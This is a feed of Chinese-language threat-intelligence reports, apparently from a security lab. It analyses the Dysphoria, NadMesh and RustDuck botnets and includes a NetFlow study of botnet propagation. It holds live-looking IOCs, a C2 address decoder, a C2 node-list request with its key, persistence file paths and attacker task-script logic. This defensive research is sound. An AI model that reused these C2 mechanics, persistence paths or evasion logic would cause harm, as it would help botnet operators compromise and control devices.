奇安信XLab

僵尸网络新秀：Dysphoria 演进与深度技术分析

Mon, 27 Jul 2026 17:42:00 +0800

奇安信X实验室 2026-07-27 17:42 北京

本报告由国家互联网应急中心（CNCERT）与奇安信网神信息技术(北京)股份有限公司共同发布

2026年第一季度以来，奇安信X实验室追踪到一个名为 Dysphoria 的新型僵尸网络，在我国境内已确认的活跃“肉鸡”规模达4401台，境内日上线肉鸡数量最高达1801台，日上线境外肉鸡数最高达23.9万台，肉鸡C2日访问量最高达74万次。

简单来说，Dysphoria 就像一个庞大的"僵尸军团"：攻击者通过漏洞和弱口令入侵路由器、摄像头等联网设备，将它们变成听命于自己的"傀儡"。这些傀儡既可以被指挥发起大规模网络攻击（DDoS），也可以被改造成"中转站"，帮助攻击者隐藏真实身份。更棘手的是，Dysphoria 近期引入了两项"反追踪"技术：区块链域名：利用以太坊（ENS）和Solana（SNS）的域名系统来隐藏指挥服务器地址，传统"封域名"的手段对其几乎无效；肉鸡变中继：将部分受害设备改造为"中转代理"，攻击指令经过层层转发，防御方很难定位真正的幕后服务器。

目前野外捕获的 Dysphoria 样本主要分为两大类：DDoS 攻击样本与纯中继/代理样本。

一、家族演进时间线 (Timeline)

Dysphoria 家族的迭代速度极快，从最初的资产关联到后期的混合拓扑结构，其关键节点如下：

时间	关键变化
3月底	首次出现，通过区块链域名关联到攻击者的Telegram频道
4月初	更换变种，更新加密方式
4月底	升级字符串加密算法，启用新的区块链域名
5月初	新增Solana区块链域名，实现"多链"隐蔽通信
6月10日	再次更换区块链域名
6月25日	关键转折：出现纯"中继"变种，不再攻击，专门做转发
6月底	引入UPnP自动端口映射，构建"攻击+中继"混合架构，完全体形成

二、 DDoS样本分析

1. 魔改RC4 解密

Dysphoria 最新的 fbot 变种在字符串保护上花费了心思。其解密算法在一定程度上借鉴了 jackskid 的代码（具体代码见原文）：

KSA 1 阶段：标准 RC4 初始化。
KSA 2 阶段：引入 LCG (线性同余发生器) 算法，连续打乱 S 盒 5 次。
PRGA 阶段：在流生成过程中引入 LFSR (线性反馈移位寄存器) 步进，并进行复杂的位移互换。

2. 区块链域名 C2 隐蔽解析机制

Dysphoria 同时支持 ENS (以太坊域名服务) 和 SNS (Solana 域名服务)。它会查询这些域名的 TXT 或特定自定义记录。不同域名对应的 Key 映射关系如下：

域名类型	目标域名	对应查询 Key	作用
ENS	`burrberry.eth`	`node`	获取中继分发节点 IP
ENS	`ukranianhorseriding.eth`	`network`	基础网络基础设施
SNS	`24carnforth2merseyside.sol`	`deserialized`	基础网络基础设施

虚假 IPv6 地址混淆

提取到记录后，文本中包含由 | 分割的虚假 IPv6 地址（例如 2001:db8:12e7:13d7::1）。样本通过逐个字节字符串对比的方式，过滤并提取出其中的 4 字节关键数据，再通过自定义置换函数 F 还原出真实的 IPv4 地址(144.31.38.215)：

defror8(x, r):
return ((x >> r) | (x << (8-r))) & 0xFF
defF(x, i, key=0x80408454):
    x = ((x >> 4) | (x << 4)) & 0xFF
    x = ror8(x, i+1)
    k = (key >> (24 - 8*i)) & 0xFF
return ((x ^ k) + k) & 0xFF
defdecode_ip(ip_bytes):
    k = 0x80408454
return".".join(str(F(ip_bytes[i], i, k)) for i in range(4))
# 提取关键4字节示例（对应 12e7:13d7）
ip_bytes = bytearray.fromhex("12e713d7")
print(f"解密出的 IP: {decode_ip(ip_bytes)}")

动态 C2 获取流程

6 月底上线的动态平衡机制非常具有迷惑性：

首先解析 burrberry.eth 的 node 记录，解密出一组中继分发节点的 IP（例如 144.31.38.215 等）。
随后向这些分发节点发起 HTTP GET 请求：http://:9000/nodes?key=meowmeowmeow。
该接口返回的 IP 列表被 DDoS 样本作为真正的 C2 交互地址。然而在实际追溯中发现，这些返回的真实 C2 地址全部是由其他被感染的肉鸡所转换的中继节点。

活跃C2(包括中继)趋势：

3. 网络协议与指令结构

在 fbot 的基础上，Dysphoria 重新定制了其底层通信协议。上线包与心跳包均为固定 78 字节。

上线包 (Login) 与心跳包 (Heartbeat) 结构

+-----------------------------------------------------------------------+
|                       Dysphoria 通信数据包结构                         |
+-----------------------------------------------------------------------+
| Login Packet (78 Bytes):                                              |
| [0----1] [2---------13] [14----15] [16-----------15+len] [剩余填充]    |
| Type(2B)   Magic(12B)    Length     Value (动态长度)      Padding      |
+-----------------------------------------------------------------------+
| Heartbeat Packet (78 Bytes):                                          |
| [0----1] [2---------13] [14--------------------------------------77]  |
| Type(2B)   Magic(12B)                    Padding                      |
+-----------------------------------------------------------------------+

DDoS 攻击指令结构 (Attack Command)

攻击指令采用了多流嵌套结构，其中也包含对参数控制的 flag 结构体描述：

+---------------------------------------------------------------------------------------+
| Duration | AtkType | TargetCnt | targets[TargetCnt] | FlagCnt | flags[FlagCnt]        |
|  (2B)    |  (1B)   |   (1B)    |  (动态嵌套结构)      |   (1B)  |  (动态嵌套结构)       |
+---------------------------------------------------------------------------------------+
其中：
1. targets 结构体：
+-----------------------+
| IP (4B) | Netmask (1B)|
+-----------------------+
2. flag 结构体：
+------------------------------------------+
| Option (1B) | Length (2B) | Value [Len]  |
+------------------------------------------+

三、独立的“中继/代理样本”样本分析

6 月下旬出现的变种功能十分纯粹：它剥离了所有的 DDoS 攻击模块，仅负责将被感染的内网肉鸡彻底转变为黑产集团的隐蔽网络中继站。

1. 自动化 UPnP 内网穿透

由于大部分物联网设备或个人 PC 处于 NAT 后方，外部无法直接连接。该中继样本启动后，会在局域网内广播寻找支持 UPnP (通用即插即用) 的网关设备，随后强制调用 WAN 连接服务，在路由器上瞬间流式映射 155 个端口。

2. 双向非阻塞高效中继 (Epoll)

肉鸡在本机成功监听这 155 个端口。一旦有外部流量（如来自攻击者或 DDoS 样本的前端请求）接入肉鸡的某个端口 bot:P，该中继样本会：

立即向真正的远程 c2:P（相同端口）发起出站连接。
在底层利用 Linux 高性能的 epoll 异步非阻塞 I/O 驱动，将两端连接进行绑定，实施双向非阻塞数据透明中继。

3. 中继状态上报

中继节点每隔 4 秒以上，会向心跳收集域名 login.trees4sale.net:9000 发送一次 JSON 格式的健康状态报告，汇报自身的可用性：

{
"status": "ONLINE",
"connections": 42,
"bandwidth_mbps": 12.5
}

四、样本传播

Dysphoria 样本主要通过 Telnet/SSH 弱口令爆破以及已知 IoT 设备远程代码执行（RCE）漏洞进行传播，攻击目标涵盖路由器、网关、摄像头、及其他嵌入式 Linux 设备。已监测到其利用的部分漏洞包括：

CNVD-2021-79445
CVE-2013-3307
CVE-2016-20016
CVE-2017-17215
CVE-2017-5259
CVE-2025-9528
CVE-2018-14558
CVE-2020-25499
CVE-2020-8515
CVE-2025-28137
CVE-2025-34152
CVE-2025-55182
CVE-2022-35733

其中既包含长期被僵尸网络广泛利用的经典 IoT 漏洞（如 CVE-2017-17215、CVE-2020-8515 等），也包含近年来披露的新漏洞，表明 Dysphoria 仍在持续维护和更新其传播能力，以提高对不同品牌和型号 IoT 设备的覆盖范围。与此同时，Telnet/SSH 弱口令攻击仍然是其最主要、最稳定的感染方式，与漏洞利用共同构成了其主要传播渠道。

五、感染范围与规模

通过监测分析发现，2026年7月14日至20日期间，Dysphoria僵尸网络在我国境内已确认的活跃“肉鸡”规模达4401台，境内日上线肉鸡数量最高达1801台，肉鸡C2日访问量最高达74万次。因其使用被控肉鸡作为C2中继，可以观测到其境外肉鸡规模更大，日上线境外肉鸡数最高达23.9万台。境内日上线肉鸡数量情况如下图所示：

从社交媒体泄露的控制端（C2）后台截图来看，Dysphoria 控制的 Bot 规模长期维持在 20 万台左右。结合我们持续监测的数据与后台显示的在线规模基本吻合，说明该截图具有较高的可信度，也侧面反映出 Dysphoria 具备较大的僵尸网络控制能力。

此外，Dysphoria 在其公开推广页面中宣称最高可提供约 4 Tbps 的 DDoS 攻击能力，并提供不同规格的攻击服务套餐，价格根据使用时长、带宽等配置有所差异，从几十美元到数百美元不等，体现出其攻击服务已具备较为成熟的商业化运营模式。

六、DDoS攻击

DDoS攻击方面，Dysphoria 的攻击目标遍布全球，覆盖互联网服务、游戏等多个行业，受害目标具有分布广、行业覆盖面大的特点。从持续监测情况来看，其攻击活动几乎每天都有发生，整体保持较高活跃度。攻击目标趋势如下：

七、威胁情报 (IOCs)

1. Download/C2 服务器 (包含特异性 FTP Banner)

Banner 特征: "220 cool ftp server hosted on brian krebs' giant ass 4head"
217.60.195.160
76.164.203.171
92.42.100.131
78.153.155.152

2. 关键基础设施域名

i.peer4you.net
o.peer4you.net
login.trees4sale.net
www.trees4sale.net
c2.saintpetersburgresident.ru
peer.saintpetersburgresident.ru
kieron.androiddebugbridge.su
dysphoria.androiddebugbridge.su
telaviv.androiddebugbridge.su
jerusalem.androiddebugbridge.su
node.androiddebugbridge.su
wow.androiddebugbridge.su

3. 区块链域名

m3rnbvs5d.eth
burrberry.eth
ukranianhorseriding.eth
24carnforth2merseyside.sol

4. 样本哈希 (SHA1)

c1bedea261f325441fb9a75c50b11d0c8fb01ac6
a3b9575897c16cbf6afe3af1aa8b55171ea6edf9
8db6c78533c176f13b61405cdc3f8fad703325f1
9c1716d770ea69e8e1418d96d52222396ecb4362
73651c02b29f1c07e3177e86c967fc45e9f30f0f
955ff909972958098f0d4a06bcc4d6b9eea90449
25081bdec05f64eb4f313420c82d8de957e30026
dcea71b9ab9de8efca301de9e2f7bf11c7132364
df510f6f69a5c149c216c7b3accc4f460d8cf363
b0782a9d6eef2ce02f734a6e5e1d8e0f9a2b65be
e7e1694162639ed587625432a79cfaa49f560d11
b7faa44ab0772047a8581bbfdd9c561e28fc66de

阅读原文

跳转微信打开

CU-Xlab大网僵尸网络分布式传播活动分析报告

Mon, 20 Jul 2026 11:49:00 +0800

原创 CU-XLAB 2026-07-20 11:49 北京

中国联通与奇安信共同成立的CU-Xlab联合实验室共同发布

近年来，公网暴露资产规模与物联网终端数量持续扩张，僵尸网络（Botnet）攻击活动活跃度显著上升。攻击者依托自动化扫描平台、分布式代理节点及恶意控制基础设施，对公网暴露资产实施低频慢扫、服务探测、弱口令爆破、漏洞利用等行为，进而构建大规模僵尸网络，用于恶意传播、远程控制、代理转发及后续攻击。相较于传统高频扫描，当前攻击更强调隐蔽性与持续性，普遍采用 “低频触发、长周期探测、分布式巡航” 模式，规避基于连接速率与阈值的传统安全检测，整体呈现自动化、协同化、长期化特征。

本报告基于联通大网NetFlow流量日志，对某省公网范围内近阶段僵尸网络相关攻击活动进行持续监测与关联分析，重点围绕攻击特征、传播链路、C2控制行为、攻击源分布、受害资产暴露情况及攻击趋势等维度开展研究。通过对海量网络流量行为进行关联建模与分析，发现当前攻击活动整体呈现“低频慢扫侦查—隐蔽C2回连—自动化横向传播”的典型Botnet传播模式，部分主机已形成完整的“被攻击—失陷控制—对外传播”闭环链路，表明公网资产正持续面临自动化僵尸网络感染与扩散风险。相关攻击活动不仅涉及Telnet、SSH、SMB、数据库、代理及IoT管理接口等高危服务，还表现出明显的资产测绘、弱口令传播、代理扩张及持续控制等特征，具有较高安全威胁与持续渗透风险。

1、僵尸网络攻击特征

基于大网netflow日志分析发现，攻击行为整体呈现“低频慢扫 + 持续巡航探测”的特征。攻击源通过降低单时间窗口内的访问频率，对目标资产开展长期、间歇式的隐蔽服务探测，以规避基于连接速率和阈值的传统扫描检测机制。同时，部分攻击IP在不同时间段持续对相同资产发起重复访问，并伴随多端口轮询与服务识别行为，表现出明显的“巡航式”探测特征。该类行为通常用于持续跟踪目标暴露面变化，在发现开放服务后进一步实施弱口令爆破、漏洞利用或Botnet传播感染，是当前僵尸网络常见的隐匿化前置侦察手段。

1.1特征1：持续全网“巡航式”探测攻击

监测数据显示，2026年5月10日 —5月17日，主机 116.153.43.* 持续遭受巡航式探测攻击。攻击流量集中于 80 端口，攻击源以境外 IP 为主，呈现显著同网段聚集特征（如 45.13.190.、45.133.39.），多地址跨时段定向访问同一目标，表明攻击具备组织化、自动化属性。攻击整体呈现低频、长周期、单次探测的隐蔽扫描特征：多数攻击 IP 仅发起1次访问，通过降低单位时间连接频次，规避传统高频扫描检测机制。该行为符合僵尸网络、自动化扫描平台及恶意资产测绘系统的隐匿化前置侦察特征 —— 攻击者通过低可见度长期探测识别公网暴露资产，后续进一步实施漏洞利用、弱口令爆破或恶意载荷投递。

1.2 特征2：慢扫探测攻击

2026 年5月10日 —5月17日，主机 113.204.227.* 持续遭受低频慢扫攻击，呈现长期持续、阶段性活跃特征。攻击者连续多日对目标开展间歇式服务探测，单日攻击次数、探测端口数峰值均为 30，且多数日期两项数据基本一致，表明攻击以多端口服务识别为核心目的。该攻击无传统高速扫描的大流量、高并发特征，而是通过降低单时间窗口访问频次、拉长探测周期，对目标开放服务实施隐蔽侦查，规避传统速率阈值类检测。此类行为属于僵尸网络传播前的前置侦察环节，后续易触发弱口令爆破、漏洞利用、载荷投递及 Botnet 感染扩散，隐蔽性与持续渗透风险较高。

2、僵尸网络传播链路

2.1传播链路案例1

结合前述低频慢扫与巡航探测特征，攻击者传播链路呈现标准化闭环流程：长期低可见度侦查测绘→识别脆弱资产→漏洞利用、弱口令爆破→主机失陷→C2 回连受控→对外扩散。以失陷主机 221.5.213.* 为例，其行为完整复现该链路特征。

前置探测阶段：多境外攻击源持续对该主机开展低频服务探测与漏洞侦查，重点针对 22、80、445 等高风险端口，呈现典型低频慢扫与服务识别特征。

C2 受控阶段：主机与多个境外 IP 建立443端口TLS 加密通信，呈现周期性高频小包、长连接、数据包字节重复率高、小包占比近 100% 的典型 C2 心跳特征，判定主机已植入恶意程序，与境外 C2 服务器建立稳定控制链路。

扩散攻击阶段：受控主机对外发起端口扫描、服务侦查、弱口令爆破及横向传播，完成从“受害节点”到“攻击节点” 的转变，参与僵尸网络自动化扩散。

该主机完整呈现巡航探测→主机失陷→C2 回连→指令接收→对外传播的闭环链路，符合僵尸网络隐匿化传播与远程控制特征，安全风险极高，以下进行各阶段攻击特征分析。

2.1.1失陷主机被攻击阶段

2026年5 月8日 —5月27日，主机 221.5.213.* 持续遭受境外分布式低频慢扫与服务侦查，攻击源覆盖多国，呈现分布式、低频化、长周期特征。攻击者重点探测两类端口：一是 23、80、8080 等传统弱口令与远程管理端口（Telnet、Web 服务、IoT 设备）；二是 7891、10013、22236 等非常规高危端口，核心目的为资产测绘与脆弱目标筛选。攻击整体呈现单 IP 低频、多 IP 接力、长周期持续特征，通过压低扫描速率规避传统高频扫描检测；探测周期近 20 天，体现自动化扫描平台的稳定运行能力。该阶段为僵尸网络入侵前的隐匿化前置侦查，隐蔽性与持续性强。

2.1.2 C2持续回连阶段

监测显示，2026年5月27日后，主机221.5.213.* 持续与境外多IP（74.178.240.*、74.179.77.*、74.178.76.*）建立 443 端口 TLS 加密通信，呈现显著周期性心跳（Beacon）特征：

每小时稳定外联，单小时通信峰值 172 次；
数据包高度规律，字节重复率稳定维持在 0.93–0.99；
小于100字节小包占比近100%，为典型小包保活特征。

结合多 C2 节点轮换、固定 HTTPS 端口、高频小包、长时外联等特征，综合判定该主机已植入恶意程序，存在僵尸网络C2 心跳通信或远控木马保活行为，安全风险较高。

2.1.3肉鸡扩散攻击阶段

2026 年5月27日起，受控主机221.5.213.* 对外发起自动化攻击，完成从受害节点到攻击节点的转变。攻击目标覆盖多地区，重点探测445（SMB）、1433（MSSQL）等高危端口，以横向扩散为核心目的。攻击呈现多目标、低频次、自动化特征，多数目标仅被探测 1–6 次，规避高频检测；短时间批量发起连接，体现僵尸网络规模化传播能力，形成失陷主机→对外扫描→横向传播的链路闭环。

2.2 传播链路案例2

2026年5月10日 —5月17日，主机 113.204.79.* 遭受境外恶意 IP 批量扫描，重点探测 Telnet、SOCKS、MySQL 等高风险端口，符合僵尸网络前置探测特征。

5月15日 —5月17日，主机与176.65.139.*、4.180.183.* 通过9091 端口外联，呈现典型 C2 通信特征，判定已被植入恶意程序并入网受控。

5月17日起，主机对外发起 HTTP/HTTPS 爆破攻击，目标覆盖多公网地址，形成被攻击→受控外联→对外扩散的完整链路，成为僵尸网络肉鸡节点。

2.3 案例总结

综上，当前僵尸网络传播呈现低频慢扫侦查→隐蔽 C2 控制→自动化横向扩散的一体化特征。攻击者以境外分布式节点开展长期隐匿探测，识别脆弱资产后通过弱口令 / 漏洞实现入侵，依托加密 C2 链路维持控制，最终驱动肉鸡对外扩散，形成完整闭环。整个过程隐蔽性、持续性、自动化程度高，传统速率阈值检测难以应对，公网暴露资产面临持续感染与扩散风险。

3、攻击趋势分析

3.1 近10天的攻击趋势

近10天攻击流量整体维持高位运行，日均攻击规模达到数百万级别。攻击行为呈现持续化特征，说明攻击并非短时突发事件，而是自动化僵尸网络长期巡航扫描行为。其中部分日期攻击次数明显升高，疑似与僵尸网络任务切换、传播扩散或批量目标探测有关。

3.2攻击节奏分析

攻击流量呈现周期性高峰叠加低频持续巡航的规律特征：活跃时段：每日 01:00–06:00 为攻击高峰，其中 03:00–05:00 攻击峰值达20 万–39 万次，体现 Botnet 自动化任务调度特性；平峰时段：白天流量回落，但持续维持低频探测，为典型巡航式扫描行为。攻击节奏连续多日稳定，表明 Botnet 控制体系持续在线、运行稳定。结合 Telnet、SSH、代理及 IoT 端口的高频探测行为，判定该活动为典型僵尸网络传播扫描（Botnet propagation scanner），核心目的为资产测绘、弱口令爆破与节点扩张。

4.僵尸网络攻击源态势分析

4.1攻击ip国家分布

通过分析近20天的大网攻击事件发现攻击源主要集中于美国、荷兰、德国、罗马尼亚等境外主机资源聚集区域。此类国家长期为恶意扫描、代理网络及匿名基础设施高发区域。攻击源国家分布较为离散，符合现代僵尸网络利用全球分布式节点实施攻击的特点。

从全球分布来看，美国、荷兰、中国、塞舌尔和德国是主要僵尸网络攻击源国，其中美国以超过710万起攻击事件遥遥领先，其次是荷兰约593万次，中国约347万次，显示发达国家和部分中等规模网络基础设施国家是主要攻击节点。值得注意的是，部分小国如塞舌尔也出现较高攻击事件数，可能由于境内僵尸网络节点集中或被滥用。中等规模网络国家如保加利亚、罗马尼亚、英国、法国和日本也参与其中，攻击事件数从两百万到几十万不等。在攻击事件总量中，亚洲国家如印度、新加坡、印度尼西亚参与相对较低，但依然呈现出僵尸网络分布的全球化趋势。其他欧洲、南美和非洲国家的攻击事件较少，但整体呈现“多国参与、集中与分散并存”的特点。总体来看，僵尸网络攻击源呈现高度集中于少数高流量国家，同时全球范围广泛分布的格局。

4.2每日活跃境外僵尸网络肉鸡

每日活跃肉鸡数量长期维持在较高水平，表明攻击方具备较大的僵尸网络规模。活跃节点数量波动不大，说明 Botnet 控制体系较为稳定，具备持续性攻击能力。

4.3最活跃的攻击ip top20

攻击源中大量 IP 与 Mirai、Gafgyt等恶意家族存在关联。其中部分 IP 长期活跃于互联网大范围扫描、传播及代理中继活动中。攻击行为具有明显自动化与协同化特征，符合 Botnet propagation scanner 的典型模式。

5.受害资产暴露特征分析

5.1高频攻击端口top20

攻击集中于远程管理、Web 服务、数据库、IoT 设备、代理服务五大类高危端口，TOP 端口为 23、80、445、443、3389、22，其中23/Telnet 占比最高，IoT 弱口令传播为僵尸网络核心攻击方向。

端口探测分类特征：远程管理类：22（SSH）、23（Telnet）、3389（RDP），聚焦弱口令爆破与远程控制；Web 服务类：80、443、8080、8443，用于资产测绘与Web 漏洞探测；数据库类：1433（MSSQL）、3306（MySQL）、9200（Elasticsearch），瞄准数据窃取与植矿；IoT 设备类：8728、9999、10001，适配路由器、摄像头等终端传播；代理 / 后门类：1080、3128、6666，用于构建匿名链路与控制信道。

该攻击为资产测绘 + 弱口令传播 + 代理扩张 + Botnet 扩散的复合自动化体系，低频长周期特征显著。

5.2被扫描的ip的ip段分布

被扫描 IP 段呈现集中化特征，说明攻击者可能通过互联网测绘、历史暴露资产信息或弱口令特征对目标进行筛选。部分网段存在长期重复被扫描现象，说明相关资产已进入攻击者重点巡航列表。

5.3 被攻击最多的ip情况

部分资产 IP 长期遭受持续性扫描与重复访问，且攻击来源存在明显分布式特征。相关资产可能存在公网暴露服务、弱口令或历史开放端口等情况，建议重点开展安全核查。

6总结与安全建议

6.1 核心总结

当前公网僵尸网络攻击已从传统高频扫描，升级为低频慢扫、长期巡航、隐蔽 C2、自动扩散的新型自动化攻击体系。攻击者依托全球分布式节点实施隐匿探测，通过弱口令/ 漏洞入侵主机，利用加密 C2 链路维持控制，最终驱动肉鸡横向传播，形成完整闭环。攻击源全球化分布，境外节点为核心；目标聚焦 Telnet、SSH、SMB、IoT 终端等弱口令资产；攻击行为规避传统速率检测，隐蔽性与持续性极强，公网暴露资产面临规模化感染风险。

6.2 安全建议

暴露资产治理：关闭 Telnet、SSH、SMB 等非必要高危服务；清理IoT、数据库、Web 后台弱口令，启用强密码与多因素认证；定期开展资产测绘，梳理暴露端口与服务。

隐蔽攻击监测：部署低频慢扫、周期性心跳、小包长连接等隐匿行为检测规则；基于 NetFlow 流量建模，建立 C2 通信（加密 443 端口高频小包、长连接）识别机制。

威胁联动处置：接入全球僵尸网络威胁情报，对境外恶意扫描源、C2 节点实施精准封禁；联动 DNS 日志、主机行为数据，快速定位失陷主机并阻断扩散链路。

常态化防护运营：建立7×24 小时监测机制，重点关注凌晨攻击高峰；定期复盘攻击趋势，优化检测策略，降低 Botnet 感染与传播风险。

跳转微信打开

NadMesh僵尸网络分析：人工智能服务时代的产品级威胁

Fri, 17 Jul 2026 16:02:00 +0800

原创奇安信X实验室 2026-07-17 16:02 北京

概述
2026 年 7 月初，我们注意到一个用 Go 语言编写的僵尸网络正在向互联网大规模投递 Bot 样本。它把扫描、漏洞利用、凭证与 AI 服务情报收割整合在同一套自治平台里。由于其控制端在代码中自称 `n4d mesh controller`，我们将其命名为 NadMesh。
NadMesh 并非一次性的蠕虫爆发，而是一个长期迭代、目标明确指向 AI 基础设施与 MCP 生态的自治型僵尸网络。它区别于传统蠕虫的地方在于：
自治扫描引擎：内置 90+ 个云服务商地址段，无人值守持续扩散
20+ 漏洞利用向量：覆盖 Redis、Docker、MCP、K8s 等多种服务的 RCE
AI 服务定向收割：通过 Shodan 搜集 ComfyUI、Ollama 等 AI 服务 IP，并赋予最高扫描优先级
产品化运营：内置 Web 面板、转化漏斗统计、金丝雀更新，运营全程可观测
持久化双保险：SSH 公钥后门 + Agent 进程 + Cron 看门狗，单点清除难以根除
多态构建：Garble 混淆 + UPX 压缩 + 随机填充，每份 Agent 哈希互异
综合来看，NadMesh 的威胁本质不是脚本小子的拼凑，而是有明确商业意图、注重投入产出比的产业级恶意软件，呈现出明显区别于传统蠕虫的「长期演进型」形态。
NadMesh 目前仍处于起步阶段，感染趋势如下：
我们观察到的 NadMesh 漏洞利用分布：

NadMesh 完整攻击杀伤链

通过对样本文件的详细分析，我们发现 NadMesh 整体是一套以攻击者 VPS 为中枢、目标网络为执行面的自治化闭环攻击平台，运营模式高度产品化。整条杀伤链可以拆成「情报 → 控制 → 补给 → 构建 → 投递」五个协同环节。

情报侧由 ai_harvest.py 承担，它借助 Shodan API 定向搜集 ComfyUI、Ollama、n8n、Open WebUI、Langflow、Gradio 等 AI/MCP 服务资产，并以最高优先级（priority=20）注入扫描队列——这是其攻击意图明确指向 AI 基础设施的最直接证据。

控制侧是 controller_go.go，监听 80/8443 端口，负责 Bot 注册与 beacon 回连、下发 CIDR + 端口扫描任务、回收部署结果与凭证情报，并通过 /panel 可视化面板实现对整个僵尸网络的可观测运营。

补给侧由四个脚本构成任务自治供给回路：yield_generator.py 放大高产网段、auto_inject.sh 周期重扫危险 IP、reinject.sh 做全量高优先级重扫、auto_blacklist.sh 自动规避蜜罐 IP。这套回路让「扫描—利用—再扩散」无需人工干预即可持续放大。

构建与投递侧，build_agent.sh 采用 Garble 符号/字面量混淆 + UPX-9 压缩 + 随机填充的多态构建策略，保证每份 Agent 哈希互异以对抗特征检测；随后由 vps_deployer.py（Docker/MCP/Redis 三向量）与 push_deployer.py（二进制 + watchdog 推送）负责主动投递部署。

在受害端，Bot Agent 落地后通过三条路径完成持久化：

写入 SSH 公钥后门：

.ssh/authorized_keys

落多路径持久化文件：

/dev/shm/.a
/var/tmp/.a
/tmp/.a

植入隐蔽 Cron 看门狗：

/etc/cron.d/.sys_monitor
/etc/cron.d/.s

任何单点清除都会被其余路径拉起。同时它承担 30 端口探测、服务识别、20+ 向量 RCE 投递、内网扫描与凭证抓取，并以 beacon 形式与主控及同网段节点保持 P2P 联动，形成横向自扩散能力。

NadMesh 控制端功能分析

NadMesh 控制端有 Golang 和 Python 两个版本，功能基本一致。本文主要分析 Golang 版本，文件名 controller_go.go，代码中作者自称 "n4d mesh controller"。

整体架构

作者在注释里写下了自己的设计哲学：

In-memory hot path: sync.Map + channels + ring buffers. DB only for background persistence.

也就是读路径全走内存、零 DB 查询，写路径异步批量落库。这个取舍让单机就能扛住高并发的 Bot 流量。

认证机制

控制端有三套彼此独立的认证。

Bot 鉴权（verifyBotAuth）走 HMAC：

请求头X-Mesh-Auth: :

算法为 HMAC-SHA256(meshKey, ":")。

服务端以当前时间 ±60 秒为窗口共迭代 121 次，并用 hmac.Equal 做常量时间比较以防时序侧信道。

操作员鉴权（verifyOperatorAuth）最为简陋：

仅检查 X-Operator-Key 头与 opKey 明文等值。

面板 Cookie 鉴权则相对完整：

登录密码即 opKey，用 subtle.ConstantTimeCompare 比较；
登录成功后下发 cookie n4d_panel = sha256(opKey + "YYYY-MM-DD-HH")
每小时轮换，校验时同时接受当前小时与上一小时窗口以防边界失效
Cookie 带 HttpOnly、SameSite=Lax，HTTPS 下附加 Secure，MaxAge 86400。登录还有限速：每 IP 10 分钟 5 次，超限返回 429。

此外，Bot 上报的主机画像（profile）经 xorDecrypt 解密——base64 解码后与 meshKey 循环 XOR，强度聊胜于无。

鉴权由中间件分层落实：

openEndpoints：注册、beacon、二进制下载、更新检查等无需鉴权（beacon 回连用 ?k=token 或干脆无认证）
operatorEndpoints：intel/chains/stats/conversion 的 GET 需操作员鉴权3
其余/api/路径强制 Bot HMAC 鉴权
/api/result/故意开放，供 Bot 提交扫描结果

HTTP 端点功能清单

NadMesh 自治扫描与任务调度

扫描端口集（30 个）

80,443,3000,5000,8000,8080,8443,8888,9000,9999,6443,10250,
9200,22,23,8088,2718,8090,10000,2379,8848,8265,8188,5678,
11434,7860,5432,3306,2375,2376,6379

覆盖的服务面：

任务补给机制（自适应反馈）

yield_generator.py —— 高产网段放大扫描

# 每5分钟执行一轮：
# 1. 查询24h内dangerous != '[]' 的results
# 2. 按/16前缀聚合，取top50高产网段
# 3. 从这些网段随机生成2000个/24任务
# 4. priority=10注入 (高于随机但低于危险IP)

效果很直接：扫描越出成果的网段，越会被密集再扫，形成正反馈循环。

auto_inject.sh —— 危险 IP 周期重扫

# 每15分钟执行：
# 1. 24h内 dangerous != '[]' 的IP作为/32高优先级(priority=20)重扫
# 2. AI服务端口优先: 8188/11434/7860/5678
# 3. 同时从130个精细化云服务商/16前缀随机生成500个/24 (priority=5)

reinject.sh —— 全量高优先级重扫

INSERT INTO tasks (cidr, ports, priority=50)
SELECT DISTINCT ip||'/32' FROM results
WHERE dangerous != '[]' 
  AND created_at > now()-604800    -- 7天
  AND ip NOT IN honeypot_blacklist;

三个脚本叠加，形成清晰的优先级梯队：

蜜罐自动黑名单

-- auto_blacklist.sh 每小时执行
INSERT INTO honeypot_blacklist (ip, reason='auto: 10+ deploys')
SELECT target_ip FROM deploys
WHERE status NOT LIKE 'fail_%'
GROUP BY target_ip HAVING count(*) >= 10;

判定逻辑是：对同一 IP 部署 ≥10 次仍拿不到结果，即认定为蜜罐并自动拉黑。这说明作者已经意识到安全研究人员的存在，并主动做了规避。

NadMesh Agent 远控能力与漏洞利用向量

扫描与识别（Bot 侧）

Bot Agent 的扫描任务流程如下：

值得注意的是兜底机制：即便控制端任务队列耗尽，Bot 也会自行生成随机 /24 继续扫描，不会闲置。

20+ RCE 向量清单

控制端支持的利用方式，按优先级排列：

部署结果分类

Agent 上报的 status 在控制端被归为四类，这套分类直接支撑了面板上的转化漏斗统计：

NadMesh 凭证与 AI 情报收割

情报字段（Agent 上报）

Agent 在入侵成功后立即采集的情报类型：

这份结构透露出攻击者真正在意的东西：不是主机本身，而是主机上的云凭证、K8s 集群权限、AI 模型访问权和可利用的 MCP 工具。

Shodan AI 服务定向收割（ai_harvest.py）

情报面板展示

控制端面板会统计并展示以下几类收割成果：

凭证数: 唯一 AWS AccessKeyId 数量

MCP 漏洞: 可利用的 execute_sql / execute_shell 服务数量

AI 模型: Ollama（llama2/mistral）+ ComfyUI + Open WebUI

K8s ServiceAccount: 集群权限 token

环境变量凭证: 可跨主机复用的凭证

Docker 主机: 可逃逸的容器宿主

IoC

C2
209.99.186[.]235cdnorigin[.]net 
Sample SHA1
31c69b3e12936abca770d430066f379ec1d997ec

阅读原文

跳转微信打开

RustDuck: 双阶段僵尸网络深度剖析

Tue, 30 Jun 2026 14:57:00 +0800

原创奇安信X实验室 2026-06-30 14:57 北京

概述

自 2026 年 2 月起，XLAB大网威胁感知系统监测到一种新型的、采用Loader + Core（双阶段加载）架构的恶意软件家族活跃于网络空间。目前该家族已衍生出多个变种，主要核心功能为执行大规模分布式拒绝服务（DDoS）攻击。并具备较强的跨平台适配与持续演化能力。

尽管该家族当前 DDoS 攻击活动中的活跃度和影响力尚不及部分主流僵尸网络，但其技术演进速度值得重点关注。研究发现，该家族正在经历从C 语言向 Rust 语言的全面技术转型，其对抗防御和流量加密的手段也在疯狂迭代。基于其技术栈从C转向Rust语言和早期核心Payload加密编码3个duckdns的C2域名的特点，我们将其命名为RustDuck。

攻击事件趋势

